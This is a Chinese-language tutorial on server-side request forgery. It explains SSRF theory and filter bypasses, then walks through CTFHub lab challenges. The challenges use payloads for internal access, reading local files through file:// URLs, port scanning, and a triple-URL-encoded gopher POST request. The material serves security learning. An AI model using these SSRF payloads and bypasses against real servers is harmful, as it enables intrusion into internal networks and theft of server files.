目录
一、SSRF(服务器端请求伪造)
漏洞产生原理:
漏洞一般存在于
产生SSRF漏洞的函数(PHP):
发现SSRF漏洞时:
SSRF危害:
SSRF漏洞利用手段:
SSRF绕过方法:
二、CTFHUB技能树 SSRF
1.Http、file和Dict等协议的利用
内网访问
伪协议读取文件
编辑端口扫描
编辑2.Gopher协议的利用
POST请求
一、SSRF(服务器端请求伪造)
漏洞产生原理:
大多是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
漏洞一般存在于
(1)分享链接
(2)转码服务
(3)在线翻译
(4)图片、文章收藏功能
(5)未公开的API实现以及其他调用URL的功能
(6)图片加载与下载
(7)从URL关键字中寻找(share、wap、url、link、src、source、target、u、display、sourceURl、imageURL、domain)
产生SSRF漏洞的函数(PHP):
(1)file_get_contents()
(2)sockopen()
(3)curl_exec()
发现SSRF漏洞时:
首先要测试所有可用的URL伪协议
file:// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
SSRF危害:
SSRF漏洞利用手段:
(1)可以对外网、内网、本地进行端口扫描,某些情况下端口的Banner会回显出来(比如3306的);
(2)攻击运行在内网或本地的有漏洞程序(比如溢出);
(3)可以对内网Web应用进行指纹识别,原理是通过请求默认的文件得到特定的指纹;
(4)攻击内网或外网有漏洞的Web应用;
(5)使用file:///协议读取本地文件(或其他协议)
SSRF绕过方法:
(1)@ http://abc.com@127.0.0.1
(2)添加端口号 http://127.0.0.1:8080
(3)短地址 https://0x9.me/cuGfD
(4)可以指向任意ip的域名 xip.io
(5)ip地址转换成进制来访问 192.168.0.1=3232235521(十进制)
(6)非HTTP协议
(7)DNS Rebinding
理论转自:Web 常见十大漏洞原理及利用方式_web漏洞利用实操-CSDN博客
二、CTFHUB技能树 SSRF
1.Http、file和Dict等协议的利用
内网访问
题目描述:尝试访问位于127.0.0.1的flag.php吧
从目标主机内网环境访问它本地的flag.php,构建url:
/?url=http://127.0.0.1/flag.php
伪协议读取文件
题目描述:尝试去读取一下Web目录下的flag.php吧
无法直接访问
使用file:///协议 访问本地文件系统
构建payload:
file:/// [文件的绝对路径和文件名]
?url=file:///var/www/html/flag.php
端口扫描
题目描述:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,
知道端口号范围,使用bp爆破 将8000设为变量
变量类型number、范围8000~9000
8218端口 ,respond得flag
2.Gopher协议的利用
学习参考:CTFHub技能树笔记之SSRF:POST请求、文件上传_ctfhub ssrf post-CSDN博客
gopher协议是ssrf利用中最强大的协议
gopher协议支持发出GET、POST请求:
可以先截获get请求包和post请求包,再构成符合gopher协议的请求。
默认端口为70,一般需发送到80端口
如果发起post请求,回车换行需要使用%0D%0A,如果多个参数,参数之间的&也需要进行URL编码。
gopher使用结构:
gopher://127.0.0.1:80/_{TCP/IP数据流} _不能省
POST请求
题目描述:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.
使用dirsearch扫描一下
python dirsearch.py -u http://challenge-0981474f125e7046.sandbox.ctfhub.com:10800/?url=127.0.0.1/
状态码为200的只有flag.php
访问127.0.0.1/flag.php,出现一个输入框
查看源代码有一个key值
将key输入输入框
尝试file///协议分别读取index.php 和flag.php的页面源码
?url=file:///var/www/html/index.php
?url=file:///var/www/html/flag.php
POST传参了key
$_SERVER['SERVER_ADDR ' ]:当前运行脚本所在的服务器(非本地)的 IP 地址。
所以在flag.php传入key值返回flag,index.php可以利用curl传url
故用gopher协议在index.php中构造post请求包往flag.php传key值,从而获得flag
构造 Gopher协议所需的 POST请求:
POST包必须包含的四个参数:Content-Type、Content-Length(key的长度)、host
,、post
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=687e7be15804b88bc8014fa4008ccb3c
利用ssrf时常需要进行多次url编码,执行curl功能后会被解码一次,利用?url=gopher://形式进行ssrf请求又会被解码一次,如果有302跳转 也会被解码一次。
(可以说传参+跳转,请求多少次就要编码多少次)
所以对构造的请求包进行三次 URL编码:
第一次编码后,将%0A
全部替换为%0D%0A
。
因为 Gopher协议包含的请求数据包中,可能包含有=
、&
等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%
后的字节当做普通字节。
第一次url编码:
POST%20/flag.php%20HTTP/1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application/x-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D687e7be15804b88bc8014fa4008ccb3c
替换:
POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D687e7be15804b88bc8014fa4008ccb3c
第二次url编码:
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D687e7be15804b88bc8014fa4008ccb3c
如果有302跳转,还需第三次编码:
POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D687e7be15804b88bc8014fa4008ccb3c
因为flag.php
中的$_SERVER["REMOTE_ADDR"]
无法绕过,于是在index.php
中发送 POST请求
最终payload如下,使用bp传入POST请求得flag。
?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D687e7be15804b88bc8014fa4008ccb3c